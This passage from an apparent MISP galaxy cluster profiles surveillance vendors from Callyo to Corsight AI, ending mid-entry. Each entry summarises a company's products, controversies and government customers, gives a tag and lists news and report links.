Founded in 2009 by Chris Bennet, Callyo is a Florida-based provider of surveillance tools for U.S. federal and law enforcement agencies. The company's tools enable tracking of locations, interception of calls, and turning smartphones into covert recording devices - all without the user's knowledge. One of Callyo's unique features is its ability to facilitate international wiretapping without requiring authorization from local authorities. By intercepting calls and routing them through virtual numbers to its servers, the software ensures that investigators can listen to and record conversations undetected. In Massachusetts, the Boston Police Department and State Police have faced scrutiny for using Callyo's app without obtaining proper warrants. An internal audit revealed that Massachusetts State Police had used the app in at least 250 cases without proper disclosure.

The company was acquired by Motorola Solutions in 2020.

The tag is: *misp-galaxy:surveillance-vendor="Callyo"*

Table 17605. Table References

Links
https://www.bostonglobe.com/2023/10/26/opinion/police-wiretaps-warrant-callyo-app/
https://masslawyersweekly.com/2023/10/20/appeals-court-says-officers-use-of-app-violated-wiretap-statute/
https://www.intelligenceonline.com/surveillance—interception/2018/06/13/callyo-the-comint-app-dodging-mutual-legal-assistance-treaties,108313562-art
https://www.govtech.com/biz/app-aims-to-provide-police-with-cheaper-alternative-to-body-cams.html
https://www.motorolasolutions.com/newsroom/press-releases/motorola-solutions-adds-cloud-based-mobile-application-capabilities-with-ac.html
https://www.businesswire.com/news/home/20110921006908/en/Twilio-Fund-Announces-Another-250000-for-Startups-Using-Twilio-Connect

CalypsoAI

CalypsoAI, founded by Neil Serebryany, Davey Gibian, and Victor Ardulov, is a developer of AI surveillance and security technology, including the VESPR platform, designed for national security applications. Backed by investors like Hakluyt Capital, CalypsoAI has established itself as an intelligence partner for U.S. government agencies, including the Department of Defense, the Department of Homeland Security, and the U.S. Air Force. In late 2023, the company joined Palantir's FedStart program, which supports the deployment of advanced AI technologies for U.S. government operations.

The tag is: *misp-galaxy:surveillance-vendor="CalypsoAI"*

Table 17606. Table References

Links
https://www.intelligenceonline.com/corporate-intelligence/2024/03/20/corporate-intelligence-firm-hakluyt-serves-as-british-mp-s-ambassador-to-us-tech-giants,110193800-art
https://potomacofficersclub.com/calypsoai-to-offer-ai-security-platform-to-federal-agencies-via-palantir-fedstart/
https://www.prnewswire.com/news-releases/calypsoai-launches-vespr-the-leading-ai-security-tool-available-for-us-national-security-users-301309624.html
https://www.carahsoft.com/learn/resource/16520-how-calypsoai-and-the-us-department-of-homeland-security-are-developing-the-next-generation-of-air-passenger-screening

Camerite Sistemas

Camerite Sistemas S.A., headquartered in Joinville, Brazil, is a pioneering cloud-based video surveillance company founded in 2012 by Cristian Aquino. Camerite's suite of products include a

platform and mobile apps (iOS/Android) featuring AI-enabled video analytics, such as facial recognition, license plate reading (LPR/OCR), object detection, heat maps, and advanced search filters.

Camerite has executed significant city-level surveillance projects. In Naviraí, Mato Grosso do Sul, the company installed 100 cameras, including plate readers and 24/7 monitoring terminals, integrated with a cloud-based platform accessible to law enforcement agencies for realtime viewing.

The tag is: *misp-galaxy:surveillance-vendor="Camerite Sistemas"*

Table 17607. Table References

Links
https://navirai.ms.gov.br/noticia/prefeitura-de-navirai-entrega-100-cameras-de-monitoramento-e-vigilancia-instaladas-na-cidade/
https://www.oracle.com/customers/camerite-sistemas/
https://www.baguete.com.br/noticias/camerite-recebe-aporte-de-r-15-milhoes

Camero

Camero is a provider of Sense-Through-The-Wall (STTW) solutions, specializing in the Xaver series of tactical through-wall radar systems designed for military and law enforcement use. These radar-based systems enable continuous monitoring of individuals within a room while operators remain outside. The company was acquired by South Korea based SK Group, a leader in military technology in 2011.

The tag is: *misp-galaxy:surveillance-vendor="Camero"*

Table 17608. Table References

Links
https://camero-tech.com/camero-is-acquired-by-the-sk-group/
https://www.youtube.com/watch?v=8wDVwwuBAss

Candiru

Israeli firm Candiru was founded in 2015 by Eran Shorer and Yaakov Weizman. According to Haaretz, the largest shareholder in Isaac Zack, who has been its chairman since the beginning and was also a founding funder of NSO. In 2021, malware manufactured by Candiru was found on the phones of politicians, journalists, and scholars in Iran, Yemen, Israel, the United Kingdom, and Turkey. Candiru has changed names multiple times, to Grindavik, then DF Associates, then Taveta, then Saito Tech, but it is still commonly known as Candiru. Founded in 2014, is thought to be Israel's second-largest spyware maker after NSO. With funding from NSO investors as well as the government of Qatar, its systems have been found to have been operated by multiple countries, including Saudi Arabia, Israel, UAE, Hungary, Indonesia, and Uzbekistan. In November 2021, the US Commerce Department added Candiru and NSO to its trade blacklist.

Researchers from Recorded Future's Insikt Group have identified active infrastructure associated with Candiru's spyware, known as DevilsTongue, in Hungary and Saudi Arabia. This spyware targets Windows systems and is believed to be deployed through spear-phishing emails, malicious links, and compromised websites.

In 2025, Integrity Partners, a U.S. investment firm, acquired Candiru's assets for up to $30 million, moving its operations and staff to the new entity Integrity Labs Ltd., which is not subject to U.S. sanctions. The deal aims to bypass U.S. restrictions after Candiru was blacklisted in 2021 over national security concerns.

The tag is: *misp-galaxy:surveillance-vendor="Candiru"*

Table 17609. Table References

Links
https://7amleh.org/storage/Israel%E2%80%99s%20Surveillance%20Industry%20english4.pdf
https://www.fastcompany.com/91024985/spyware-companies-helping-governments-hack-their-citizens
https://www.cima.ned.org/publication/spyware-an-unregulated-and-escalating-threat-to-independent-media/
https://www.haaretz.com/israel-news/tech-news/2020-09-07/ty-article/.premium/mobile-spytech-millions-in-gulf-deals-top-secret-israeli-cyberattack-firm-reve/0000017f-e1eb-d568-ad7f-f3eb36390000
https://www.singapore-samizdat.com/p/a-timeline-of-singapore-and-spyware
https://www.forbes.com/sites/thomasbrewster/2019/10/03/meet-candiru-the-super-stealth-cyber-mercenaries-hacking-apple-and-microsoft-pcs-for-profit/
https://www.theguardian.com/technology/2021/nov/16/israeli-firm-candiru-spyware-linked-to-attacks-on-websites-uk-middle-east
https://therecord.media/candiru-spyware-active-infrastructure-hungary-saudi-arabia
https://www.calcalistech.com/ctechnews/article/r1er11mi61e
https://assets.recordedfuture.com/content/dam/insikt-report-pdfs/2025/cta-2025-0805.pdf

Carbyne

Carbyne is a company headquartered in New York, with offices in Israel and Mexico. Founded by Amir Elichai, a former security guard for the Israeli consul general, Carbyne has its roots in Israeli intelligence, with ties to Unit 8200, a division known for its expertise in surveillance operations. Unit 8200 has been criticized for its surveillance activities, which include monitoring Palestinian civilians for coercive purposes and conducting surveillance on Palestinian-Americans through an intelligence-sharing arrangement with the NSA.

Carbyne's platform, marketed as an enhancement for emergency response, allows for extensive data collection from mobile devices and IoT sensors without explicit user consent. When a 911 call is made, Carbyne can automatically access the caller's precise location and video feed from their smartphone, effectively turning personal devices into surveillance tools. This capability is

expanded through partnerships with major tech companies like Cisco, enabling the collection of data from smart city infrastructure, such as road cameras and streetlamps, often without the public's awareness.

The company's advisory board includes notable figures such as former U.S. Secretary of Homeland Security Michael Chertoff and former Israeli Prime Minister Ehud Barak, furthering its deep ties to both the U.S. and Israeli security establishments.

The tag is: *misp-galaxy:surveillance-vendor="Carbyne"*

Table 17610. Table References

Links
https://www.forbes.com/sites/denizcam/2020/03/17/to-fight-coronavirus-new-orleans-is-using-a-911-app-backed-by-peter-thiels-founders-fund/
https://www.haaretz.com/israel-news/2019-07-11/ty-article/.premium/revealed-jeffrey-epstein-entered-million-dollar-partnership-with-ehud-barak-in-2015/0000017f-e376-d75c-a7ff-ffff11630000
https://www.govtech.com/biz/carbyne-cisco-partnership-means-iot-data-for-911-dispatch.html
https://www.trtworld.com/magazine/israel-linked-cia-funded-palantir-goes-public-making-espionage-mainstream-40230
https://www.timesofisrael.com/jeffrey-epstein-was-ehud-baraks-business-partner-as-late-as-2015-report/

CellXion

CellXion is a UK company that specializes in communications interception technologies. It has sold £1 Million worth of cellphone-spying devices to UK police. The company is one of the leading providers for IMSI catchers (covert communications data capture equipment that can track a phone's location and intercept phone calls and messages.)

According to Balkan Insight, CellXion received licenses to supply Serbia with wireless communication interception tools.

The tag is: *misp-galaxy:surveillance-vendor="CellXion"*

Table 17611. Table References

Links
https://www.vice.com/en/article/pgwd5z/this-company-has-sold-pound1-million-worth-of-cellphone-spying-devices-to-uk-police
https://balkaninsight.com/2024/12/12/serbia-imports-wireless-equipment-capable-of-indiscriminate-mass-surveillance/
https://www.vice.com/en/article/4xaq4m/the-uk-companies-exporting-interception-tech-around-the-world
https://c5is.com/cellxion-lte-imsi-catcher-makes-waves-quietly/
https://www.theregister.com/2016/10/10/police_widespread_ownership_of_imsi_catchers_revealed/

https://thebristolcable.org/2016/10/imsi/
https://find-and-update.company-information.service.gov.uk/company/04780952/filing-history

Cemtrex

Cemtrex Inc. is a technology company that provides surveillance solutions through its subsidiary, Vicon Security. Its tech is used for monitoring prisons, jails, and the U.S.–Mexico border. Its Roughneck AI Camera Series and Valerus Video Management Software include features such as AI-based analytics.

The tag is: *misp-galaxy:surveillance-vendor="Cemtrex"*

Table 17612. Table References

Links
https://ir.cemtrex.com/news-events/press-releases/detail/300/cemtrexs-vicon-industries-secures-10-4-million-valerus
https://ir.cemtrex.com/news-events/press-releases/detail/270/cemtrex-receives-1-5-million-upgrade-order-for-vicon
https://www.globenewswire.com/news-release/2025/02/18/3027972/0/en/Cemtrex-s-Vicon-Subsidiary-Secures-1-2M-Order-for-Border-Protection-Deployment-in-Texas.html
https://ir.cemtrex.com/news-events/press-releases/detail/259/cemtrexs-vicon-launches-new-suite-of-ai-based-analytics
https://www.marketscreener.com/quote/stock/CEMTREX-INC-59968196/company/

ChapsVision

ChapsVision is a technology company specializing in data processing, with a strong focus on surveillance solutions. It integrates advanced video analysis and artificial intelligence to deliver what it calls "intelligent video surveillance systems." These systems are designed for various applications, including automated tracking of individuals or objects using pan-tilt-zoom (PTZ) cameras.

Through its ACIC division, ChapsVision customizes solutions for surveillance, public monitoring, and people counting, utilizing a network of cameras and image analysis to automate such monitoring tasks. Through AI-augmented tools, the company also offers an integrated suite of solutions designed to access, gather, monitor, and analyze information from diverse global sources.

The tag is: *misp-galaxy:surveillance-vendor="ChapsVision"*

Table 17613. Table References

Links
https://www.laquadrature.net/en/2024/05/02/against-the-empire-of-algorithmic-video-surveillance-la-quadrature-du-net-strikes-back/

https://theconversation.com/ai-mass-surveillance-at-paris-olympics-a-legal-scholar-on-the-security-boon-and-privacy-nightmare-233321
https://www.japantimes.co.jp/news/2024/06/13/world/paris-olympics-ai-surveillance/
https://www.eu-startups.com/2024/11/paris-based-chapsvision-acquires-sinequa-and-secures-e85-million-to-expand-ai-capabilities/
https://www.chapsvision.com/softwares-data/digital-intelligence/
https://slator.com/systran-acquired-by-french-data-processing-specialist-chapsvision/
https://www.biometricupdate.com/202311/eus-largest-public-transport-security-project-with-herta-biometrics-nears-final-stage
https://www.intelligenceonline.com/surveillance—interception/2023/10/05/cae-and-dea-for-frontex-5150-labs-in-the-uae-incredity-bows-out-chapsvision-buys-owlint,110061879-art

Circinus

Circinus is a defense and intelligence contractor that provided social media monitoring and intelligence for the UAE. Acquired by U.S Republican fundraiser Elliott Broidy from former US Army intelligence officer Alan Stone in 2014, Circinus operated a $200 million contract with the UAE's armed forces. It also maintains contracts with the US Army Intelligence and Security Command (INSCOM) and US Special Operations Command (USSOCOM).

Circinus has marketed surveillance and data-mining tools to various government agencies, including in Cyprus, Tunisia, Romania, and the UAE, with pitch documents touting capabilities like identity resolution and social media geolocation.

Former Circinus executives, including ex-CIA officers, have capitalized on the company's connections to establish new surveillance and intelligence ventures. Keith Noble, a former Circinus director, now runs BlackCloud International, which markets OSINT tools to governments, including contracts in the UAE and Eastern Europe. Similarly, Nick Williams, another former executive, has launched WMi General Trading in Abu Dhabi.

The tag is: *misp-galaxy:surveillance-vendor="Circinus"*

Table 17614. Table References

Links
https://theintercept.com/2018/06/22/broidy-circinus-spying-tunisia-romania-uae/
https://www.nytimes.com/2018/03/25/us/politics/elliott-broidy-trump-access-circinus-lobbying.html
https://www.engadget.com/2018-06-25-contractor-hoped-to-sell-social-media-surveillance.html
https://www.intelligenceonline.com/international-dealmaking/2022/03/03/ex-circinus-executives-forge-new-careers-in-abu-dhabi,109737611-art

Circles

An NSO linked company providing technology that exploits SS7 vulnerabilities to track phones.

According to leaked documents, Circles customers can purchase a system that they connect to their local telecommunications companies' infrastructure, or can use a separate system called the "Circles Cloud," which interconnects with telecommunications companies around the world. Circles Technologies was founded by Tal Dilian, a former commander of the IDF's Intelligence Corps Technological Units.

The tag is: *misp-galaxy:surveillance-vendor="Circles"*

Table 17615. Table References

Links
https://citizenlab.ca/2020/12/running-in-circles-uncovering-the-clients-of-cyberespionage-firm-circles/
https://www.calcalistech.com/ctech/articles/0,7340,L-3878410,00.html
https://www.intelligenceonline.com/surveillance—interception/2023/12/12/london-company-flolive-maintains-close-connection-to-spyware-developer-circles,110118357-art
https://www.forbes.com/sites/thomasbrewster/2020/12/01/this-spy-tool-can-find-you-with-just-a-telephone-number-and-25-countries-own-it-warn-researchers/

Citadel

Citadel is involved in Russia's telecom surveillance industry, creating and supplying monitoring and data interception tools. The company has strong connections to the Federal Security Service (FSB) of Russia. It also operates through various subsidiaries that provide different aspects of telecommunications and surveillance technology.

It is recognized as one of the largest providers of SORM (System for Operative Investigative Activities) technologies.

The tag is: *misp-galaxy:surveillance-vendor="Citadel"*

Table 17616. Table References

Links
https://www.nytimes.com/2023/07/03/technology/russia-ukraine-surveillance-tech.html
https://cepa.org/article/russia-exports-digital-surveillance-despite-sanctions/
https://eurasianet.org/russia-spyware-firms-looking-to-export-surveillance-technology-to-central-asia-report
https://www.opensanctions.org/entities/NK-NEvGYSihKP92v2srzH8dxu/
https://www.recordedfuture.com/research/tracking-deployment-russian-surveillance-technologies-central-asia-latin-america

City Shield

City Shield, a private security group based in Detroit, has been employed by the University of Michigan to conduct surveillance on pro-Palestinian student groups. The university has paid City

Shield's parent company, Ameri-Shield, over $800,000 between June 2023 and September 2024 for these services. The surveillance activities included following, recording, and eavesdropping on students, with some reports of investigators threatening and attempting to harm students physically. The evidence gathered by City Shield has been used by Michigan prosecutors to charge students.

The tag is: *misp-galaxy:surveillance-vendor="City Shield"*

Table 17617. Table References

Links
https://www.theguardian.com/us-news/2025/jun/06/michigan-university-gaza-surveillance
https://procurement.umich.edu/suppliers/city-shield-security-services/
https://www.commondreams.org/news/michigan-gaza-surveillance

Clearview AI

Using a growing database of over 30 billion images scraped from social media and other online platforms, Clearview AI provides law enforcement and private entities with the ability to identify individuals through facial recognition software. This technology was also used by U.S federal agencies, including ICE and the FBI, to surveil immigrants, activists, and protesters, often targeting leftist groups and individuals critical of political figures. According to 404 Media, Clearview reportedly attempted to purchase Social Security numbers and mugshots from all 50 states in the U.S to expand its database. In 2025, ICE awarded the disputed facial recognition firm its largest government contract yet amid its ongoing crackdown targeting immigrants.

The tag is: *misp-galaxy:surveillance-vendor="Clearview AI"*

Table 17618. Table References

Links
https://www.technologyreview.com/2022/03/03/1046676/police-surveillance-minnesota-george-floyd/
https://www.nytimes.com/2020/01/18/technology/clearview-privacy-facial-recognition.html
https://www.buzzfeednews.com/article/ryanmac/controversial-clearview-ai-raises-8-million
https://www.bbc.com/news/technology-65057011
https://abc7news.com/clearview-ai-california-attorney-general-rob-bonta-consumer-watchdog/14231840/
https://edri.org/our-work/we-need-to-talk-about-clearview-ai/
https://time.com/6988684/clearview-ai-latin-america/
https://www.cnet.com/tech/mobile/clearview-ai-probed-over-facial-recognition-sales-to-foreign-governments/
https://www.forbesindia.com/article/news/facial-recognition-technology-is-being-weaponised-needs-guardrails-kashmir-hill/90113/1

https://www.404media.co/facial-recognition-company-clearview-attempted-to-buy-social-security-numbers-and-mugshots-for-its-database/
https://www.motherjones.com/politics/2025/04/clearview-ai-immigration-ice-fbi-surveillance-facial-recognition-hoan-ton-that-hal-lambert-trump/
https://www.theverge.com/2020/8/14/21368930/clearview-ai-ice-contract-privacy-immigration
https://www.forbes.com/sites/thomasbrewster/2025/09/08/ice-to-pay-10-million-for-clearview-facial-recognition-to-investigate-agent-assaults/
https://www.washingtonpost.com/technology/2025/10/17/ice-surveillance-immigrants-antifa/

CloudWalk Technology

CloudWalk Technology is an AI company that has developed facial recognition software designed to track and surveil members of ethnic minority groups, including Tibetans and Uyghurs, and alert authorities if too many individuals gather in specific locations. Cloudwalk's surveillance technology is also used outside of China. In 2018, Cloudwalk and the Zimbabwean government agreed to the installment of a mass surveillance network in Zimbabwe. The agreement included a requirement that the Zimbabwean government send images it acquires from the surveillance network back to Cloudwalk's offices in China, so that Cloudwalk could improve the ability of its facial recognition software to recognize individuals based on skin pigmentation.

The tag is: *misp-galaxy:surveillance-vendor="CloudWalk Technology"*

Table 17619. Table References

Links
https://www.nytimes.com/2019/04/14/technology/china-surveillance-artificial-intelligence-racial-profiling.html
https://www.theguardian.com/news/2019/apr/11/china-hi-tech-war-on-muslim-minority-xinjiang-uighurs-surveillance-face-recognition
https://home.treasury.gov/news/press-releases/jy0538
https://adf-magazine.com/2023/01/zimbabwe-turns-to-chinese-technology-to-expand-surveillance-of-citizens/

Cobham

Cobham is a provider of border monitoring and intelligence gathering technologies. The company develops advanced tools for audio, video, and IP transmission, as well as tagging, tracking, and locating systems, which are used for real-time surveillance and data collection.

Its Special Mission division provides airborne border surveillance, including contracts with the Australian government for maritime and border monitoring. Cobham also develops covert and overt surveillance systems, such as COFDM IP Mesh solutions and non-line-of-sight video surveillance. Cobham's systems are integrated into vehicles, allowing for covert and overt surveillance by law enforcement agencies and military operations.

The tag is: *misp-galaxy:surveillance-vendor="Cobham"*

Table 17620. Table References

Links
https://www.wikileaks.org/spyfiles/files/0/112_COBHAM-BROCHURES-201110.pdf
https://www.australiandefence.com.au/sponsored/cobham-aims-high-as-expansion-plans-power-ahead#:}:text=It%20could
http://www.defenceindustryreports.com/cobham.html
https://www.spsmai.com/corporate/?id=1602&q=Cobham-increases-presence-in-Brazil
https://openlibrary.org/books/OL25748235M/Data_and_Goliath
https://www.aviationtoday.com/2009/12/07/cobham-establishes-indian-subsidiary/
https://data.ark.ai/analysis/suppliers/cobham-limited-supplier-profile-overview

Cobwebs Technologies

Cobwebs Technologies is an Israeli company whose surveillance software collects data from phones and social media activity, converting it into intelligence. The Los Angeles Police Department is amongst its users. Cobwebs has secured contracts with several U.S federal agencies, including U.S. Immigration and Customs Enforcement (ICE) through its Delaware-based branch, Cobwebs America Inc. In 2023, Cobwebs was acquired by PenLink through the support of private equity firm Spire Capital, a year after PenLink had also acquired another surveillance company, GeoTime.

The tag is: *misp-galaxy:surveillance-vendor="Cobwebs Technologies"*

Table 17621. Table References

Links
https://knock-la.com/lapd-is-using-israeli-surveillance-software-that-can-track-your-phone-and-social-media/
https://www.texasobserver.org/texas-dps-surveillance-tangle-cobwebs/
https://www.penlink.com/cobwebs-technologies-joins-penlink-to-expand-its-digital-investigative-platform/
https://unicornriot.ninja/2024/cobwebs-spy-software-locks-onto-protesters-israeli-social-media-mining-contract-with-homeland-security-revealed/

Cognitec Systems

Cognitec Systems is a face recognition technology company. One of its products, FaceVACS, delivers extensive surveillance functionality that goes beyond basic face matching. The system can guess ethnicity based on a person’s skin color, flag suspects on watch lists, estimate the age of a person, detect gender, and "track" faces in real time. According to the company, it also helps identify

suspects if they have tried to evade detection by putting on glasses, growing a beard, or changing their hairstyle. It is used at border checkpoints in several countries, including Germany.

The New South Wales Police Force in Australia stopped using the company's PhotoTrac Suspect Identification System after concerns about the program's ineffectiveness and a tendency for "producing false identification matches when it comes to racial minorities in particular."

The company was acquired by SALTO Group in March, 2022.

The tag is: *misp-galaxy:surveillance-vendor="Cognitec Systems"*

Table 17622. Table References

Links
https://www.cognitec.com/news-reader/cognitecs-veridos-egates-bangladesh.html
https://www.cognitec.com/news-reader/cognitec-technologies-to-capture-facial-images-at-german-borders.html
https://www.biometricupdate.com/201601/cognitec-exec-discusses-facevacs-facial-recognition-technology
https://slate.com/technology/2013/04/statue-of-liberty-to-get-new-surveillance-tech-but-dont-mention-face-recognition.html
https://www.cognitec.com/news-reader/Cognitec-joins-SALTO-Group.html
https://www.sydneycriminallawyers.com.au/blog/nsw-police-stop-using-ineffective-and-racially-biased-facial-recognition-identification-system/

Cognyte

Cognyte Software Ltd is an Israeli company that develops analytics software and is known to be a notorious surveillance vendor. Cognyte, currently located in Herzliya, Israel, shares an address with Verint and now provides cyberintelligence services similar to those previously offered by Verint. An investigation by Haaretz uncovered that Cognyte's mass surveillance technology has been sold to Myanmar in recent years. Its software was also unlawfully utilized by Brazil's intelligence agency to monitor and intimidate prominent politicians, journalists, judges, and environmental officials in the country during Jair Bolsonaro's far-right administration. In 2022, Cognyte sold a portion of their intelligence analytics software to the Volaris Group, a Canadian private equity firm, for US $47.5 million.

The company also brought on Nadav Argaman, the former director of Israel's internal security service Shin Bet, as a strategic senior advisor to continue developing closer ties to Israel's intelligence establishment.

The tag is: *misp-galaxy:surveillance-vendor="Cognyte"*

Table 17623. Table References

Links

https://www.haaretz.com/israel-news/security-aviation/2023-02-28/ty-article/fake-friends-leak-reveals-israeli-firms-turning-social-media-into-spy-tech/00000186-7f75-d079-ade7-ff7507970000
https://www.theguardian.com/world/article/2024/jul/11/brazils-spy-agency-accused-of-illegally-targeting-bolsonaros-foes
https://www.justiceformyanmar.org/stories/israeli-surveillance-firm-cognytes-business-in-myanmar-exposed
https://sundayguardianlive.com/news/israels-cognyte-supplying-surveillance-gear-to-india
https://www.middleeastmonitor.com/20230904-israel-helps-other-countries-to-spy-on-their-own-citizens/
https://www.aljazeera.com/podcasts/2023/8/9/how-israeli-technology-turns-occupation-into-profit
https://www.haaretz.com/israel-news/security-aviation/2024-04-09/ty-article/.premium/israeli-company-cognyte-sold-spyware-to-myanmar-without-license-says-state-attorney/0000018e-c2fa-dc93-adce-eefaa19f0000
https://www.cognyte.com/news/cognyte-cognyte-secures-10-million-expansion-with-national-security-agency-in-emea/
https://www.mintpressnews.com/israeli-cyber-weapons-taking-latin-america/283926/
https://www.cognyte.com/news/cognyte-to-divest-a-portion-of-threat-intelligence-analytics-offering/
https://www.intelligenceonline.com/surveillance—interception/2023/06/07/trade-spot-israeli-cyberintelligence-firm-cognyte-s-swiss-cypriot-relay,109991505-art
https://www.rollingstone.com/politics/politics-news/facebook-blackcube-hacking-israel-cybersecurity-1272362/
https://en.globes.co.il/en/article-ex-shin-bet-chief-aims-to-make-cognyte-an-israeli-palantir-1001499351

Compelson Lab

Compelson Lab offers software, such as MOBILedit Forensic, that allows security forces to extract sensitive data from confiscated mobile phones and smartwatches. It can also access data from cloud services like Dropbox, Google Drive, and Microsoft OneDrive, as well as social media apps like Facebook, WhatsApp, and LinkedIn.

Law enforcement agencies in various regions, including Delhi and Hyderabad Police in India, use MOBILedit.

The tag is: *misp-galaxy:surveillance-vendor="Compelson Lab"*

Table 17624. Table References

Links
https://www.politico.eu/article/how-europe-became-wild-west-spyware/
https://www.medianama.com/2022/03/223-how-indian-law-enforcement-uses-phone-cracking-tools-2/

Complementics

Complementics is a data broker that captures mobile location data, extracting detailed insights from apps installed on users' smartphones. According to a report by VICE, Complementics collected location data from mobile applications and funneled it to firms like Venntel, which in turn sold this data to U.S. government agencies including ICE, DHS, and the FBI. This allowed federal agencies to circumvent warrant requirements and track people's movements via commercial data streams.

The tag is: *misp-galaxy:surveillance-vendor="Complementics"*

Table 17625. Table References

Links
https://www.vice.com/en/article/ice-dhs-fbi-location-data-venntel-apps/
https://themarkup.org/privacy/2021/09/30/theres-a-multibillion-dollar-market-for-your-phones-location-data
https://nrkbeta.no/2020/12/03/my-phone-was-spying-on-me-so-i-tracked-down-the-surveillants/

ComsTrac

ComsTrac Limited is a developer of surveillance and interception technologies, including IMSI catchers for GSM/UMTS/LTE networks, passive and hybrid GSM interceptors, and related tools that enable cellular monitoring and tracking. Their official website also markets the Mosaic OSINT suite for "monitoring and manipulating social media" and other online platforms, RF direction-finding systems, and surveillance systems integrated with drones. More specifically, their website boasts of the ability to develop "Trojans and Hacks to invisibly attack targeted iOS, Android and Blackberry handsets plus all Windows format and Mac OS computers. All social media apps such as WhatsApp, Viber, Line and Telegram can be intercepted and read along with all internet browsers, emails and cellular voice and messaging transmissions."

ComsTrac is listed among the UK companies authorized to export telecommunications interception technology, including IMSI catchers, to various countries, including those with abysmal human rights records. The company has a subsidiary named Comstrac FZE operated out of Ajman, the United Arab Emirates.

The tag is: *misp-galaxy:surveillance-vendor="ComsTrac"*

Table 17626. Table References

Links
https://www.vice.com/en/article/the-uk-companies-exporting-interception-tech-around-the-world/
https://web.archive.org/web/20230529163734/https://comstrac.com/products.html
https://find-and-update.company-information.service.gov.uk/company/04308653

Comvision

Comvision India Private Limited is a provider of advanced Automatic License Plate Recognition (ALPR) systems powered by proprietary Artificial Intelligence (AI) and deep learning algorithms. The system provides realtime database comparison functionality for instant alerts when specific license plates are detected, along with reporting tools for comprehensive vehicle movement analysis.

The tag is: *misp-galaxy:surveillance-vendor="Comvision"*

Table 17627. Table References

Links
https://www.comvision.io/mobility-alpr.php
http://comvision.co.in/about.php

Converus

Converus, a private company specializing in lie detection technologies, has developed a product called EyeDetect, which uses eye-tracking technology to assess truthfulness. This tool analyzes subtle changes in eye movement and pupil dilation to predict deception. Converus pitched EyeDetect to the CIA in 2022 for its potential application in border control and migration management. in 2023, Converus launched VerifEye, a smartphone app that extends this technology to mobile devices, enabling self-administered truth verification tests.

Converus's technologies have reportedly been adopted by over 600 clients in 50+ countries, including law enforcement agencies.

The tag is: *misp-galaxy:surveillance-vendor="Converus"*

Table 17628. Table References

Links
https://politicsrights.com/walls-eyes-technology-and-migration-today/
https://theintercept.com/2023/04/07/lie-detector-dod-cia-converus/
https://converus.com/press-releases/converus-closes-1-35m-bridge-round-fuel-growth/
https://www.techbuzznews.com/converus-launches-verifeye-a-truth-verification-phone-app/

CoolApp

CoolApp is a locally developed messaging platform in Cambodia. Designed as an alternative to international apps like WhatsApp and Telegram, CoolApp aims to increase national control over digital communication and "reduce foreign interference". The app is endorsed by Cambodian leadership, including by the former Prime Minister Hun Sen, and experts claim it monitors users' activities on the platform.

The tag is: *misp-galaxy:surveillance-vendor="CoolApp"*

Table 17629. Table References

Links
https://www.cnn.com/2024/06/27/tech/cambodia-coolapp-messaging-surveillance-fears-intl-hnk
https://www.firstpost.com/tech/cambodia-launches-its-own-whatsapp-like-messaging-app-security-experts-fear-privacy-issues-13787261.html
https://dig.watch/updates/cambodian-messaging-app-faces-backlash-over-privacy-fears
https://www.khmertimeskh.com/501629871/hun-sen-endorses-coolapp-for-secure-communication/

Coralco Tech

Coralco Tech, an Israeli-Cypriot cyber-intelligence firm founded in 2016 by former U-TX Technologies employee Eyal Almog, is a provider of surveillance and cyber-intelligence solutions. Based in Limassol, Coralco offers a wide range of products, including open-source intelligence (OSINT) tools and interception technologies for LTE, GSM, WiFi, and other communication platforms.

The company has been linked to controversial activities, including the development of tools with similarities to malware from Wolf Intelligence, such as the WolfRAT, which targeted messaging apps like WhatsApp and Facebook Messenger. A command and control panel named Coralco Archimedes, identified in a Cisco Talos report, further suggested ties between Coralco and Wolf Intelligence, though the companies have since parted ways.

Coralco has also been involved in international deals, such as using its Singaporean branch to sell phone interception systems to the Bangladesh armed forces, with equipment shipped via Cyprus.

The tag is: *misp-galaxy:surveillance-vendor="Coralco Tech"*

Table 17630. Table References

Links
https://www.business-humanrights.org/en/latest-news/bangladesh-report-reveals-government-purchase-of-israeli-spy-tech-inc-co-comment/
https://www.intelligenceonline.com/surveillance—interception/2020/06/10/coralco-tech-former-wolf-ally-a-one-stop-shop-for-cyber,109236198-art
https://www.timesofisrael.com/israeli-owned-firms-reportedly-selling-spyware-to-bangladesh-with-no-oversight/
https://www.haaretz.com/israel-news/security-aviation/2023-01-10/ty-article/.premium/israeli-spy-tech-sold-to-bangladesh-despite-dismal-human-rights-record/00000185-9692-d16a-a987-f6b75dd00000
https://www.intelligenceonline.com/surveillance—interception/2023/08/18/how-bangladesh-came-by-its-cyber-intelligence-tools,110033402-eve
https://companiesregistry.cy/company-details/coralco-tech-limited-376784/

CoreCivic

CoreCivic is one of the largest private prison operators in the United States, managing correctional facilities, detention centers, and residential reentry programs under contract with federal, state, and local governments. Through partnerships with technology providers, CoreCivic integrates electronic monitoring tools such as GPS-enabled devices, smartphone apps, and data-driven compliance systems to track target individuals, including immigrants detained by ICE.

The tag is: *misp-galaxy:surveillance-vendor="CoreCivic"*

Table 17631. Table References

Links
https://www.corecivic.com/news/corecivic-partners-with-tracktech-to-provide-a-high-tech-monitoring-solution
https://prospect.org/justice/2025-08-08-private-prisons-cash-in-trumps-mass-deportations/
https://www.axios.com/2025/02/27/private-prison-corecivic-ice-detention-immigrants
https://www.theguardian.com/global-development/2021/mar/04/they-track-every-move-how-us-parole-apps-created-digital-prisoners

Corellium

Corellium is a cybersecurity company headquartered in Miami, Florida. It sells phone-virtualization software for catching security bugs, and has sold its tools to controversial government spyware and surveillance product developers in Israel, the UAE, Russia, and to a cybersecurity firm with potential ties to the Chinese government, according to a leaked document reviewed by WIRED that contains internal company communications. These documents show that in 2019, Correllium offered a trial of its product to notorious spyware maker NSO Group, with the UAE's DarkMatter also pursued as a potential customer.

The tag is: *misp-galaxy:surveillance-vendor="Corellium"*

Table 17632. Table References

Links
https://www.wired.com/story/corellium-nso-group-darkmatter-apple-lawsuit/
https://www.techtimes.com/articles/283726/20221121/leaked-apple-document-showed-corellium-s-shady-dealings-with-controversial-companies.htm
https://appleinsider.com/articles/22/11/21/corelliums-ios-security-tool-used-by-rogues-gallery-of-iphone-hacking

Corsight AI

Corsight AI is a facial recognition technology company headquartered in Israel with operations worldwide. The company specializes in developing facial recognition and surveillance technology powered by what they call "Autonomous AI," which, according to the company, is based on 15 years

of neuroscience research and over 250 patents. Their technology is designed to mimic human facial recognition capabilities.

Corsight's technology allegedly identify individuals even when less than 50% of their face is visible. It also provides real-time alerts and video analysis and claims to identify people wearing masks. More recently, it was developing technology to create facial models from DNA.

